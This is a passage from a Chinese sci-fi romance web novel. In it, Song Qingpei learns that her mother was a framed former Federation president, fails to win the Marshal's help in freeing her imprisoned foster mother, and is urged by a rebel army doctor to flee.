明毓压心中震惊,努力让声音平静:“乌澜,你在说什么?” 乌澜轻笑一声,“明上将,别装了。宋青佩身份,你我心知肚明。怎么样,要不要见一面?” 明毓手指紧紧攥住通讯器,脑海一片混乱,乌澜怎么会知道这事? 她深吸一口气,“好,我们在哪见面?” “病房。”乌澜声音依旧带笑,“我等你。” 挂断通讯器,明毓脸色阴郁。 乌澜这么快知道这件事情,是她完全没有想到的,这几乎狠狠地打了她一耳光,明确地告诉她,宋青佩的身世早已泄露。 宋元帅看着她,也眉头紧锁:“乌澜是战笠的爪牙,她找你谈交易怕是鸿门宴,千万要小心。” “我知道。”明毓点头,声音低沉:“但乌澜既然已经知道青佩的身份,我必须去见见她,探探虚实。” “乌澜阴险狡诈,千万不要让她抓住把柄。”宋元帅叮嘱。 明毓点头,转身离开书房,步伐更加急促。 乌澜的突然介入,让局势愈发复杂难测。她不知乌澜究竟掌握多少信息,又如何算计,可不管如何,她必须护宋青佩周全。 —— 宋青佩坐在公司的办公室里,手中的文件翻了几页,却始终无法集中注意力。 她的脑海中不断闪过明毓那张欲言又止的脸,心中隐隐有些不安。自从在宋元帅的寿宴上看到那张全家福后,她的心里就像压了一块石头,沉甸甸的,无法释怀。 “青佩,在想什么呢?”一道熟悉的声音从门口传来。 宋青佩抬起头,看到慕容瑞雪正站在门口,脸上带着温和的笑意。 “瑞雪姐?”宋青佩有些意外,“你怎么来了?” 慕容瑞雪走进办公室,将文件放在她的桌上,“鱼跃号的智脑有了新的波动,我觉得这是个机会,想请你再去看看。” “鱼跃号?”宋青佩皱了皱眉,“之前不是说电脑陷入休眠,暂时没办法修复吗?” 慕容瑞雪笑了笑,眼中闪过一丝难以捉摸的光芒:“或许是你的精神力与它高度契合,我觉得这可能是个突破口,说不定能唤醒它。” 宋青佩本能地察觉到了危险,隐隐觉得,慕容瑞雪可能是在故意试探她。 但是对于真相的渴望,让她还是忍不住铤而走险,点了点头:“好,我跟你去一趟。” 两人驱车前往机甲基地。 一路上,慕容瑞雪时不时地瞥一眼宋青佩,似乎在观察她的反应。 宋青佩则一直看着窗外,心中隐隐有些不安。她总觉得今天的慕容瑞雪有些不对劲,但具体哪里不对劲,她又说不上来。 到达基地后,慕容瑞雪输入密码,厚重的金属门缓缓打开。 宋青佩走进去,看到鱼跃号依旧静静地矗立在仓库中央,机身泛着冷冽的金属光泽。 “青佩,你先试试用精神力探测一下智脑,看看能不能再度唤醒它。”慕容瑞雪站在她身后,语气中带着几分催促。 宋青佩点了点头,穿上防护服,深吸一口气,缓缓释放出自己的精神力。 她的精神力如同一缕细丝,缓缓渗入智脑核心。 起初,一切都很平静,智脑核心如同一片死寂的深海,没有任何反应。 “再深入一点。”慕容瑞雪的声音从身后传来,语气急切。 宋青佩皱了皱眉,心中隐隐有些不安。 但此时她的精神力已经深入智脑核心,无法分心多想。 就在她的精神力即将触碰到智脑核心的瞬间,一股强大的吸力突然传来,将她的精神力猛地拉了进去。 她只觉得眼前一黑,紧接着,脑海中再度浮现出一幅幅凌乱的画面。 浩瀚的星空中,一台银色机甲如流星般穿梭。 机甲的驾驶舱内,一名面容英气的女子正全神贯注地操控着机甲。 然而,下一秒,画面骤然转变。 无数敌机从四面八方围攻而来,女子奋力抵抗,却终究寡不敌众。 机甲被击中,驾驶舱内鲜血四溅,女子的身影渐渐模糊…… “不要!”宋青佩本能地喊出声,心脏疼得她几乎喘不过气来。 她的精神力迅速流逝,意识开始模糊,就在这时,她突然感觉到身后传来一阵寒意。 她猛地睁开眼睛,发现慕容瑞雪正站在她身后,手中握着麻醉枪抵在她的后腰。 “瑞雪姐,你……”宋青佩声音颤抖。 慕容瑞雪眼中闪过一丝挣扎,但很快被决绝取代:“青佩,对不起……我必须这么做。” 宋青佩的心中一片混乱,但她迅速冷静下来,她早就察觉到慕容瑞雪的异常,此时虽然虚弱,但早有防备。 她的手指悄悄按下了防护服上的紧急按钮,身体迅速后退,避开了慕容瑞雪的袭击。 “慕容瑞雪,你到底想做什么?”宋青佩的声音中带着愤怒和不解。 慕容瑞雪的眼中闪过一丝痛苦:“青佩,你的身份已经暴露了,我必须带你走,否则你会陷入危险。” 宋青佩的眉头紧锁,质问道:“我的身份?你到底在说什么?” 慕容瑞雪深吸了一口气,缓缓道:“事到如今,我也不瞒你了。你的母亲是联邦的前总统——容岑。她当年是被战笠诬陷叛国,黑鸢花就是她的旧部,我们一直在试图为她平反。而你,是容岑和宋桃夭的女儿。” 宋青佩的脑海中一片混乱,脑海中不断回响着慕容瑞雪的话——她的母亲是容岑,联邦的前总统,而她的养母宋隐,竟然就是宋灼华,宋家的二小姐。 她难以置信地摇了摇头:“不可能……这怎么可能?” 这一切来得太突然,她完全无法接受。 “青佩,跟我走!”慕容瑞雪的声音满是急切,“你的身份已经暴露了,战笠的人很快就会找到你!如果你继续留在这里,只会陷入危险!” “我……”宋青佩的声音有些颤抖,“你让我怎么相信你?这一切太荒谬了……” 慕容瑞雪焦急地劝解道:“青佩,我知道你一时无法接受。但这是事实!你的养母宋隐,就是宋灼华,她为了保护你,才带着你隐居在垃圾星。而现在,她被战笠关在军部的秘密监狱,受尽折磨!如果你不信,我可以给你看证据!” 说着,慕容瑞雪从怀中掏出一枚小小的芯片,递给宋青佩:“这是你养母被关押的视频,你自己看!” 宋青佩的手指微微颤抖,接过芯片,插入自己的通讯器中。 屏幕上立刻出现了一段模糊的画面——一个女子被关在阴暗的牢房里,身上满是伤痕,眼神中充满了绝望。宋青佩的心猛地一颤,那个女子的面容虽然憔悴,但依然能看出与她记忆中养母的轮廓极为相似。 “小姨……”宋青佩的声音哽咽,眼眶瞬间红了。 她的手指紧紧攥住通讯器,指节因用力而泛白。 慕容瑞雪见状,急忙上前一步,恳求道:“青佩,现在你相信了吧?你的身份已经暴露了,战笠的人很快就会找来,你必须跟我走。” 宋青佩的脑海中一片混乱,心中充满了矛盾和挣扎,她的养母还活着,而她的身世竟然如此复杂。 她不愿意相信这一切,可眼前的证据却让她无法忽视。 她颤抖着拿起通讯器,想要联系明毓。 慕容瑞雪见状,急忙阻止她:“青佩,你不能联系明毓!她和军部那帮人是一丘之貉,她们不会放过你的!” 宋青佩的手指停在通讯器上,一时不知道该怎么办才好。 就在这时,慕容瑞雪的通讯器突然响起。 她低头一看,脸色瞬间变得苍白。 她急忙对宋青佩说:“青佩,我们必须马上离开!调查局的人已经来了!” 宋青佩怔愣着,还没有从震惊中回过神来。 慕容瑞雪见她不作声,情况紧急,她实在等不下去。 一咬牙,她举起麻醉枪对准宋青佩,决定将人强制带走。 就在这时,基地的大门突然被推开,一阵急促的脚步声传来。 宋青佩猛地抬起头,看到明毓和乌澜带着一群人冲了进来,迅速将她们包围。 “青佩!”明毓的声音中带着几分急切,她的目光紧紧盯着宋青佩,眼中充满了担忧,“你没事吧?” 宋青佩站在原地不动,她看着明毓,眼中带着一丝哀求:“明毓,这到底是怎么回事?” 明毓神色复杂,低声说:“青佩,你先别冲动,我们回去再说。” 听出她的暗示,宋青佩犹豫了一瞬,没再继续询问。 慕容瑞雪看向两人,情急之下,大声喊道:“青佩,不要相信她!她们都是一伙的!” “闭嘴!”明毓神色从未有过的阴沉,看向乌澜,“乌局长,你还愣着干什么?” 乌澜的脸色看上去还有些苍白,新仇旧恨,她得意地看着慕容瑞雪,“慕容瑞雪,束手就擒吧,你这次跑不掉了。” 慕容瑞雪脸色苍白,眼中满是绝望,她知道这次栽了,她走不了了。 乌澜冷笑了一声,挥了挥手:“把人带走。” 慕容瑞雪被调查局的人押走,临走前,她大声喊着:“青佩,不要相信她们!” 宋青佩站在原地,心中仿佛被撕裂一般。 她看着明毓,眼中充满了痛苦:“明毓,你为什么会和乌澜出现在这里?你到底都瞒了我什么?” 明毓的嘴唇微微颤抖,一时却不知该从何说起,最终只能抱住宋青佩安抚。 “青佩,我们先回家,我什么都告诉你。” 第59章 如此残酷 宋青佩站在明毓身旁,目光呆滞地望着远处被押上车的慕容瑞雪。 她的心仿佛被撕裂成两半,一半是对慕容瑞雪的担忧,另一半则是对明毓的茫然。她无法理解,为什么明毓会和乌澜一起出现?她又到底瞒着自己多少事情? 明毓神色担忧地看着她,轻轻拉开车门,低声说:“青佩,我们先回家吧。” 她没有回应,只是机械地坐进车里,脑海中不断回响着慕容瑞雪的话—— “你的母亲是容岑,联邦的前总统。” “你的养母宋隐,就是宋灼华,现在被关在军部的高级监狱。” “军部的人都是一丘之貉,不要相信她们。” 一字一句,仿佛在活生生地诛她的心。 此时此刻,她忍不住逃避地想,如果她只是一个被抛弃的单纯的弃婴,是不是要比面对这一切更幸运些。 车子缓缓启动,车内一片沉默。 明毓握着方向盘的手微微颤抖,她知道,必须向宋青佩坦白一切,否则她们之间的信任将彻底崩塌。 “青佩。”她紧张地看了一眼宋青佩,小心地开口,“我知道你现在心里有很多疑问,对于这些事难以接受。” 宋青佩依旧没有回应,只是将头转向窗外,目光空洞地望着飞速掠过的街景。 明毓深吸一口气,继续说:“我之所以瞒着你,是因为你的身份太过敏感。你是容岑和宋桃夭的女儿,而容岑是联邦的前总统,当年……去世和现在的总统战笠有很大的关系。你的身份一旦曝光,战笠绝不会放过你,我不想让你陷入危险,所以才选择了隐瞒。” 宋青佩的手指微微颤抖,她终于转过头,看向明毓:“那你为什么现在又告诉我?是因为慕容瑞雪已经揭穿了一切,你不得不坦白吗?” 明毓的眼中闪过一丝痛苦:“青佩,我知道做得不对,但我真的只是想保护你。我本以为可以争取一些时间,没想到慕容瑞雪会突然行动。” 这些事情对她来说太复杂了,宋青佩努力想要理清楚其中的关联,片刻后,她仿佛终于抓住了一些重点。 “乌澜是战笠的人,她为什么不直接抓我?” “因为……我和她做了交易。” 明毓没有解释交易的事,只是含糊道:“乌澜并不只是战笠的得力助手,她还有自己的目的,至于她到底想做什么,我目前还不清楚。但至少,她暂时不会对你下手。” 宋青佩的脑海中一片混乱,她无法理解这些复杂的权力斗争。 她目前最关心一件事—— 她的养母宋隐,也就是宋灼华,现在被关在军部的高级监狱里。 “明毓,”宋青佩的声音中带着几分哀求,“我要救我小姨。她被关在军部的高级监狱里,受尽折磨,我不能眼睁睁看着她受苦。” 明毓无奈地解释道:“青佩,军部的高级监狱,只有元帅才有权限进入。我们……根本没办法进去。” “我们可以去找宋元帅。”宋青佩的眼中闪过一丝希望,“她是小姨的母亲,她一定有办法。” 犹豫了片刻,明毓最终点了点头:“好,我带你去找宋元帅。” 车子停在宋元帅府邸前时,天色已经暗了下来。 宋青佩推开车门,脚步急促地走向大门,明毓紧随其后,试图拉住她的手腕,却被她轻轻甩开。 “青佩,冷静一点。”明毓低声提醒,语气中带着一丝不安。 宋青佩停下脚步,眼中满是焦急,“我小姨在军部的高级监狱里受折磨,我真的冷静不了。” 明毓张了张嘴,似乎想说什么,但最终只是叹了口气,默默跟在她身后。 府邸的大门缓缓打开,管家迎了出来,见到两人,神色一愣:“明上将,宋小姐,这么晚了,有什么事吗?” “我要见宋元帅。”宋青佩直截了当地说。 管家犹豫了一下,还是点了点头:“请稍等,我去通报。” 等待的时间仿佛被拉得无限长。 宋青佩站在客厅里,脑海中不断浮现出养母宋隐,或者说宋灼华的面容。 那个曾经在垃圾星上陪她度过无数个夜晚的人,那个总是温柔地叫她‘佩佩’的女人,如今却被关在暗无天日的监狱里,受尽折磨。 她的心仿佛被一只无形的手紧紧攥住,呼吸都变得困难。 “宋元帅请你们进去。”管家的声音将她拉回现实。 书房里,宋元帅正坐在书桌后,似乎在批阅文件,她的神情平静,仿佛早已预料到两人的到来。 “宋元帅,”宋青佩快步走到书桌前,声音中带着难以掩饰的焦急,“我小姨——宋灼华,她被关在军部的高级监狱里。您一定要救救她!” 宋元帅缓缓抬起头,目光在宋青佩脸上停留了片刻,随后转向明毓:“明毓,这些事她知道了多少?” 明毓上前一步,低声说:“宋元帅,青佩已经知道了自己的身世。她的养母宋隐,就是您的女儿宋灼华,现在她被关在军部的高级监狱里,情况……很不好。” 宋元帅沉默了许久,仿佛在权衡着什么。 “宋元帅,”宋青佩的声音中带着几分哽咽,“她是您的女儿啊,您不能眼睁睁看着她受苦,您一定有办法救她的,对吗?” 宋元帅的神色复杂难辨,许久才缓缓开口,“青佩,我理解你的心情。但这件事……没有你想得那么简单。” “什么意思?”宋青佩的声音陡然提高,情绪几乎失控,“您是元帅,您一定有权限进入那个监狱,一定有办法救她!难道您要眼睁睁看着她死在那里吗?” 宋元帅的脸色微微一沉,但很快恢复了平静。 她站起*身,走到窗前,背对着两人,声音中带着几分疲惫:“青佩,你知道战笠是什么人吗?你知道他为了权力,可以做到什么地步吗?” “我不知道!”宋青佩的声音中带着几分颤抖,“我只知道,我小姨为了我,才落到这个境地。我不能放弃她,您也不能!她是您的亲生女儿啊!” 宋元帅的背影微微一僵,手指紧紧攥住窗框,指节泛白。 她的声音低沉,仿佛在压抑着什么:“青佩,你以为我不想救她吗?她是我的女儿,是我从小看着长大的孩子。可是……现在的宋家,经不起任何风浪了。” 一句话,让宋青佩陡然僵住,“您……这话是什么意思?” 宋元帅缓缓转过身,眼中闪过一丝痛楚:“战笠现在手握大权,宋家已经式微。如果我们贸然行动,不仅救不了灼华,还会让整个宋家陷入万劫不复的境地。” 宋青佩难以置信的看着眼前的老人,似乎无法相信她居然会说出这种话,这可是小姨的亲生母亲啊,怎么能说出如此狠心的话。 宋青佩声音哽咽,近乎乞求道:“求求您了只有您能救小姨了,您不能不管她,任由她在监狱里受尽折磨啊。” “青佩,我……不得不做出选择。” 宋元帅的嘴唇微微颤抖,仿佛在说服自己,也仿佛在说服宋青佩:“宋家不能再与战笠为敌,否则,所有人都会被再次牵扯进去。我不能为了一个人,牺牲整个家族。” 宋青佩脸色瞬间变得苍白,声音低沉,仿佛在压抑着什么。 许久,她还是没有忍住,情绪几乎失控,“你害怕战笠,害怕失去现在的一切,所以你选择放弃自己的亲生女儿,你不配做一个母亲” “够了!” 宋元帅的声音陡然提高,胸口剧烈起伏着,仿佛在压抑着某种情绪。 片刻后,她的声音低沉下来,带着几分疲惫:“青佩,你还年轻,不懂这些复杂的权力斗争。我只能告诉你,忘记这一切,安心跟明毓好好过日子。” “忘记?”宋青佩的眼泪终于忍不住流了下来,声音中带着几分哽咽,“您让我怎么忘记?她是我唯一的亲人,她为了我才落到这个境地。我怎么能忘恩负义,怎么能放弃她?” 宋元帅的眼中闪过一丝痛楚,但很快被决绝取代。 她转过身,背对着两人,声音低沉:“你们走吧。这件事……到此为止。” 宋青佩站在原地,泪水无声地滑落。她的心中充满了失望与愤怒,仿佛被一只无形的手紧紧攥住,呼吸都变得困难。 明毓轻轻拉住她的手腕,低声说:“青佩,我们先回去吧。” 宋青佩没有回应,只是机械地跟着明毓走出书房。 然后,继续失魂落魄地跟着明毓回到家中。 她坐在沙发上,目光呆滞地望着前方,脑海中不断回响着宋元帅的话。她无法接受,自己唯一的亲人竟然被家族抛弃,而她却无能为力。 “明毓,”宋青佩的声音中带着几分哽咽,“你也是这么想的吗?你也希望我忘记这一切,安心过日子吗?” 明毓沉默了一瞬,艰难地开口:“青佩,我只想你好好的。” 宋青佩的眼泪终于忍不住流了下来:“可她是我养母,是我唯一的亲人,她为了我,才落到这个境地。我怎么能忘恩负义,怎么能放弃她?” 明毓抱住宋青佩,声音中带着几分无奈:“青佩,我知道你心里痛苦,但我们真的无能为力。军部的高级监狱能随便进的地方,我们只能等待机会。” 宋青佩无助的靠在明毓的怀里,无法接受这一切,却又无能为力。 这一刻,她才知道自己的力量是多么渺小。 “为什么?”她近乎崩溃地捂着脸,“我真没用,我还能做些什么?” 第60章 噩梦 宋青佩自认不是一个喜欢自怨自艾的人。 曾经那么艰难的生活,她都熬过来了,可是如今,她面对的这一切却是她无从接受,甚至理解的一切。 总统,军部,权势恩怨…… 一切的一切,都不是她的认知可以理解的。她只能努力地消化着得到的信息,试图尽快将这一切搞明白,不让自己成为一个被蒙蔽的小丑。 她的母亲容岑真的叛国了吗?小姨又为什么被抓? 不管是因为慕容瑞雪的出现,还是内心的想法,她都不愿意相信自己的母亲是个叛国者,自己本身就带着原罪。 所以她必须弄明白真相,知道自己的立场,接下来又到底能做什么? 稍稍冷静了一些的宋青佩,自明毓的怀中抬起头,犹豫地问:“明毓,我……的母亲,容岑真的叛国了吗?” 没想到她会突然有此一问,明毓愣了片刻,才道:“青佩,这件事情太久远了,发生在二十六年前,我并不是很清楚。” 宋青佩有些失望,可她也明白,明毓不知道这些也正常。 明毓见她眉心紧皱,一副无助惶然的模样。 她心疼地安抚:“青佩,我会先想办法打听一下你小姨的事情。你好好休息一下,别让我担心好吗?” “嗯。”宋青佩闷声。 明毓的通讯器突然响起,她低头看了一眼,是军部的紧急来电。 她皱了皱眉,接通后简短地应了几句,挂断后对宋青佩说道:“青佩,军部有急事,我得马上过去。你一个人在家,我不放心。” 宋青佩摇了摇头,声音轻得几乎听不见:“我没事,你去吧。” 犹豫了一下,明毓联系了明芮:“明芮,你现在有空吗?来我家一趟,陪着青佩。” 没过多久,明芮匆匆赶到。 她一进门,就看到宋青佩神色恍惚地坐在沙发上,眼神空洞,仿佛整个人都被抽空了灵魂。 明芮有些尴尬地走到她身边,轻声问:“青佩姐,你……还好吧?” 宋青佩勉强抬起头,挤出一丝笑容:“我没事,就是有点累。” 明芮挠了挠头,试图找些话题:“那个……你吃饭了吗?”要不要吃点东西?” “不用了,我不饿。”宋青佩摇了摇头,声音疲惫。 明芮还想再说些什么,却发现宋青佩已经站起身,低声说:“明芮,我有点累,先回房间休息了。你回去吧。” 说完,她转身走向楼梯,背影显得格外单薄。 明芮站在原地,有些不明所以,最终只能叹了口气,坐回沙发上。 这是怎么了?明明前两天宋元帅寿诞上还挺好的,真是难搞。 客厅里一片寂静,明芮无聊地摆弄着通讯器。 突然接到她妈妈的电话。 “明芮,你表姐那边怎么样了?你外婆一直想跟她缓和关系,你帮忙劝劝她吧。”电话那头,明远黛声音急切。 “妈,你可别添乱了。” 明芮无奈地翻了个白眼:“我跟你说,表姐这两天明显心情不好,你别去惹她。再说了,外婆还能活几年?就算你想抱大腿,也该找表姐啊,她才是明家的未来。” 明芮妈妈气地骂了一句,“你这孩子,怎么说话的?别胡说八道!” 说完便挂断了电话。 明芮将通讯器扔到一旁,整个人瘫在沙发上。没有明毓的话,她又不敢擅自离开,只能无聊地数着天花板上的花纹。 直到门外传来一阵轻快的脚步声,颂颂背着书包蹦蹦跳跳地跑了进来。 “小姨!”颂颂一看到明芮,立刻扑了过来,“你怎么来了?” 明芮一把抱住她,揉了揉她的头发:“宝贝儿,你可算回来了!小姨无聊死了,快陪我聊聊天。” 颂颂笑嘻嘻地坐在她旁边,问:“妈妈呢?她怎么没来接我?” 明芮指了指楼上:“你妈妈有点累,在房间里休息呢。” 颂颂皱了皱眉,有些担心:“妈妈是不是生病了?我去看看她。” “别去打扰她,让她好好休息吧。”明芮连忙拉住她:“来,跟小姨说说,今天在学校有什么好玩的事?” 颂颂眨了眨眼睛,开始兴致勃勃地讲述学校里的趣事。 明芮一边听,一边时不时地附和几句,心里依旧有些担心楼上的宋青佩。 怎么这么久还不下来? 而此时的宋青佩正躺在床上,额头上渗出细密的冷汗,眉头紧锁,呼吸急促。梦境如同一场无声的电影,画面在她脑海中不断切换,时而清晰,时而模糊。 梦的开始,是一片温暖的阳光洒在身上,小姨手里拿着一本书,嘴角挂着温柔的笑意。 宋青佩记得,那是她小时候最熟悉的场景。 小姨总是那样温柔,轻声细语地给她讲故事,教她读书写字。 她的手指轻轻抚过宋青佩的头发,带着淡淡的香气,仿佛一切烦恼都能在她的怀抱中消散。 “青佩,你要记住,无论发生什么,都要坚强。”小姨的声音在梦中响起,温柔而坚定。 然而,画面突然一转,阳光消失了,取而代之的是一片阴暗潮湿的牢房。 空气中弥漫着血腥和腐烂的气味,令人窒息。 心猛地揪紧,她看到小姨被绑在冰冷的铁椅上,身上满是伤痕,血迹斑斑,脸色苍白如纸,嘴唇干裂,眼神中充满了痛苦和绝望。 “青佩……你为什么不来救我?” 小姨的声音嘶哑而凄厉,仿佛从地狱深处传来,“你忘恩负义……你怎么能放弃我?” 宋青佩想要冲过去,想要挣脱束缚,去救她,去抱住她,可是她的身体却像被无形的锁链牢牢捆住,动弹不得。 她只能眼睁睁地看着小姨被人粗暴地拖拽着,鞭子狠狠地抽在她的身上,发出刺耳的声响。每一下鞭打,都像是抽在宋青佩的心上,痛得她几乎无法呼吸。 “小姨!”宋青佩在梦中无助地呼喊,泪水无声地滑落。 她的手死死地伸着,仿佛这样就能抓住些什么,阻止这一切的发生。 然而,梦境并没有因此停止。 小姨的质问声越来越尖锐,越来越刺耳:“青佩,你忘了是谁把你养大的吗?你忘了是在保护你、照顾你?你怎么能眼睁睁地看着我受苦?你怎么能……怎么能放弃我?” 宋青佩的心仿佛被一只无形的手紧紧攥住,胸口剧烈起伏,她想要解释,想要告诉小姨她不是故意的,她没有放弃她,可是喉咙像是被什么东西堵住了,发不出任何声音。 突然,小姨的身影渐渐模糊,消失在黑暗中。 宋青佩猛地惊醒,从床上坐起,胸口剧烈起伏着,额头上满是冷汗。 她的手指依旧紧紧攥住,脑海中不断回响着小姨的呼喊声,那一声声质问像一把钝刀,反复割着她的心。 许久,她的呼吸才慢慢平复下来。 宋青佩失魂落魄地下了楼,看到明芮正和颂颂在客厅里玩闹。 明芮见她下来,立刻关切地问:“青佩姐,你没事吧?脸色看起来不太好。” 宋青佩勉强挤出一丝笑容,摇了摇头:“我没事,只是有点累。” 颂颂跑过来,仰着小脸问:“妈妈,你怎么了?是不是生病了?” 宋青佩蹲下身子,轻轻抚摸颂颂的头,柔声说:“妈妈没事,只是有点累了。颂颂乖,去和小姨玩吧。” 颂颂乖巧地点了点头,又跑回明芮身边。 宋青佩站起身,走到窗边,拿出通讯器,拨通了明毓的号码。 “明毓,”她的声音中带着几分疲惫,“今天能不能早点回来?我有事想跟你说。” 通讯器那头,明毓的声音有些迟疑:“青佩,军部这边事情比较多,我尽量早点回去。你……没事吧?” 宋青佩勉强笑了笑:“我没事,你忙吧,我等你。” 挂断通讯器,宋青佩的目光落在窗外,心中一片茫然。 就在这时,门铃响起。明芮跑去开门,发现是李蔓。 “李军医?”明芮有些意外,“你怎么来了?” 李蔓笑了笑,语气平静:“我来给宋小姐做一下身体复查,有些指标需要再确认一下。” 明芮点了点头,侧身让她进来。 李蔓走进客厅,看到宋青佩站在窗边,神色恍惚。 她走上前,轻声说道:“宋小姐,我们单独聊聊吧。” 宋青佩回过神来,点了点头,跟着李蔓走进了书房。 关上门后,李蔓的神色立刻变得严肃起来。她直视着宋青佩,低声问道:“宋青佩,慕容瑞雪被抓,跟你有关系吗?” 宋青佩猛地抬起头,难以置信,眼前这个一直为明毓服务的军医,竟然也是黑鸢花的成员。 “你……你怎么知道慕容瑞雪?你跟她……” “没错,我和慕容瑞雪都是黑鸢花的人。” 李蔓直接承认,语带质问:“瑞雪被抓,到底跟你有没有关系?” “……没有。”宋青佩连忙摇了摇头,如实道:“她当时想要袭击我,被发现后告诉了我真相,劝我跟她走。我没答应,让她先离开,但她还没来得及走,乌澜的人就出现了。” “不是你就好。” 李蔓明显松了一口气,但很快又变得急切:“青佩,我知道你现在心里很乱,但时间不多了。瑞雪被抓,战笠的人很快就会查到你的身份,我们必须尽快行动。” 宋青佩的眉头紧锁,下意识后退了一步,“你们……你们到底想让我做什么?” 李蔓上前一步,语气更加紧迫:“跟我走,去见我的老师慕容暇,她是你母亲的旧友,黑鸢花的负责人,唯一能帮你母亲翻案的人。你母亲的冤屈,只有她能帮你洗清。” “翻案?”宋青佩的声音有些发抖,“你是说……我母亲真的是被冤枉的?” “当然!”李蔓的语气中满是愤怒,“容岑总统当年就是被军部高层陷害的!他们为了掩盖自己的罪行,不惜牺牲你母亲。青佩,你是她的女儿,为她翻案、复仇是你的使命!” 宋青佩自然想相信母亲是冤枉的,可是想到离开,她第一反应就是颂颂和明毓,她怎么能抛下她们…… 本能地想要逃避这个问题,她低声问:“那我小姨呢?你们能救她吗?” 李蔓脸上闪过悲切,劝道:“青佩,现在不是感情用事的时候。军部的高级监狱不是我们能闯的地方,现在慕容瑞雪已经被抓,战笠的人很快就会查到你的身份。我们只有先离开从长计议,再犹豫,只会把自己也搭进去!” “可是,就一点办法也没有了吗?” 宋青佩无法接受,这么多人,难道就没有人能救救她小姨吗? 李蔓急切道:“你还不明白吗?军部的人都是既得利益者,没有人会帮你,包括宋元帅!他当初可以为了权势放弃两个女儿,现在又怎么会救?” 宋青佩的心猛地一沉,脑海中浮现出宋元帅冷漠的面容。 她的声音中带着几分挣扎:“可是……明毓她……她说了会帮我的。” “明毓?”李蔓冷笑一声,语气中带着几分讥讽,“青佩,你还在幻想什么?明毓是军部的人,她的立场早就注定了,你以为她会为了你背叛军部?放弃自己好不容易努力得到的权势地位。别天真了!” 宋青佩脸色发白,死死地咬着牙,一言不发。 见她这番模样,李蔓语气稍微缓和了一些,“青佩,我知道你心里很难受,但现实就是这样残酷。跟我走,去见我的老师慕容暇,为你母亲翻案,这才是你该做的事。” 宋青佩的嘴唇颤抖着,“可是……我……” “青佩,我们没有多少时间了。” 李蔓的耐心似乎已经到了极限,难掩急切道:“两天,只有两天。如果你决定跟我们走,随时联系我。我们的人会在军校建立那天全部撤走,而你……只能自求多福了。” “你好好想想吧,我先走了。” 说完,李蔓转身离开了书房,留下宋青佩一个人茫然地站在原地。 她心中满是矛盾与挣扎,尤其是脑海中小姨的呼喊声,仿佛永远无法醒来的噩梦,一点点剜着她的心。 她必须做出选择,可难道就这样放弃明毓和颂颂吗?不,她做不到。 宋青佩犹豫着,是否该如实告诉明毓一切。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 坦白 明毓回到家时,天色已晚。 推开门,她看到宋青佩正坐在沙发上,神情焦虑。听到开门声,她立刻抬起头,眼中闪过期待。 “明毓,有小姨的消息吗?” 迎着她的眼神,明毓艰难地摇了摇头,“军部高级监狱的消息不是那么容易打探的,我已经让人去查了,但需要时间。” 宋青佩的眼神瞬间黯淡下来,低下头,努力压抑住内心的失望和焦虑。她知道明毓已经尽力了,但小姨在监狱里受苦的样子始终萦绕在心头,深吸一口气,她告诉自己不能着急,不能给明毓添乱。 “我明白……”她的声音有些沙哑,勉强挤出一丝笑容,“谢谢你。” 明毓走过去握住她的手,察觉到她的手指冰凉,心中不由得一紧。仔细打量着宋青佩的脸色,发现她的神思飘忽,显然心事重重。 “青佩,你怎么了?”明毓的声音温柔,却带着一丝试探。 宋青佩的身体微微一僵,眼神闪烁了一下,避开了明毓的目光。 她的内心纠结不已,李蔓的话像一块沉重的石头压在她的心头。她不知道是否该告诉明毓李蔓的身份,可又怕李蔓会像慕容瑞雪一样被抓起来。 犹豫许久,她才低声说:“没……没事。” 声音很轻,几乎像是在自言自语。 明毓没有再追问,只是用手掌拍着她的后背,低声安抚道:“时间不早了,去休息吧。” “嗯。” 她低不可闻地应了一声,起身往房间走去。 明毓跟了上去,直到进了房间,才发现宋青佩仿佛被抽走了灵魂般坐在床边发愣,好像忘了下一步动作。 几天前还如此鲜活有趣的人,不过短短几天就成了如此模样,明毓看得心痛如绞,她不是擅长甜言蜜语的人,见此情景,只能强压心疼走过去将人抱住。 “青佩,睡会吧。” 宋青佩确实累了,她靠在明毓的怀里,心中的焦虑稍稍缓解了一些。但这只是暂时的,她的内心依旧在挣扎,依旧在矛盾中煎熬。 夜深了,宋青佩终于靠着明毓疲惫地睡去。 明毓轻轻将她放在床上,盖好被子,静静地看着她的睡颜,眉头微微皱起,眼中闪过一丝担忧。 她转身走出房间,轻轻关上门,随即拿出通讯器,拨通了明芮的号码。 “明芮,今天青佩有没有什么不对劲的地方?” 明芮的声音从通讯器那头传来,带着几分疑惑:“表姐,青佩姐一整天都心神不宁的,好像有什么心事。哦,对了,李蔓今天来过,说是来做身体复查,但我总觉得她有点奇怪。” “李蔓?”明毓的眼神瞬间冷了下来,嘴角勾起一丝冷笑,“果然是她。” 明芮有些不解:“表姐,怎么了?李蔓有什么问题吗?” 明毓没有解释,只是淡淡地说:“没什么,你这两天多陪陪青佩,别让她一个人待着。等我忙完军校建立的事,再处理这些事。” 挂断通讯器后,明毓的脸色越发阴沉。 她站在走廊上,目光望向窗外漆黑的夜空,心中隐隐有些不安。 黑鸢花余孽果然已经开始行动了—— 明毓忙于军校的事,一大早便匆匆离开了家。 宋青佩醒来时,发现明芮已经早早地坐在客厅里。 看到她下楼,明芮立刻露出笑容,热情地打招呼:“青佩姐,早上好!表姐让我来陪你,怕你一个人无聊。” 闻言,宋青佩随即明白了明毓的用意,大概是怕她冲动之下,做出什么不可挽回的事情。 她勉强笑了笑,点了点头:“谢谢你,明芮。” 两人就这么大眼瞪小眼,时不时聊两句,一上午的时间艰难过去。 下午,李蔓果然又来了。 明芮看到李蔓,想到昨晚明毓的电话,不由警惕了几分,故意问:“李军医,青佩姐身体怎么了?你来这么勤?” 被一连串突发事件打击的脑子不怎么够用的宋青佩,脸上闪过一抹惊慌,生怕李蔓的身份引起明芮的怀疑。 而李蔓显然是久经考验,不然不会留在明毓身边潜伏这么久,只见她自然地笑了笑,“上将大人的发热期快来了,宋小姐的信息素不是很敏感……”后面的话她没有说完,给了明芮一个心领神会的眼神。 明芮恍然大悟,生怕打击到宋青佩,忙道:“啊那个,我懂我懂,那个……隐私嘛,你们去看病就行,不用管我,哈哈哈……” 没想到李蔓居然会拿她‘劣A’的事情做文章,宋青佩一时都没反应过来。 “宋小姐。”直到李蔓提醒她:“我需要再给你做一些检查,才能对症下药。” 见她不说话,明芮还以为她不好意思了,两人听熟了,她玩笑地劝道:“青佩姐,你不要讳疾忌医啊,我表姐的幸福还得靠你呢。” 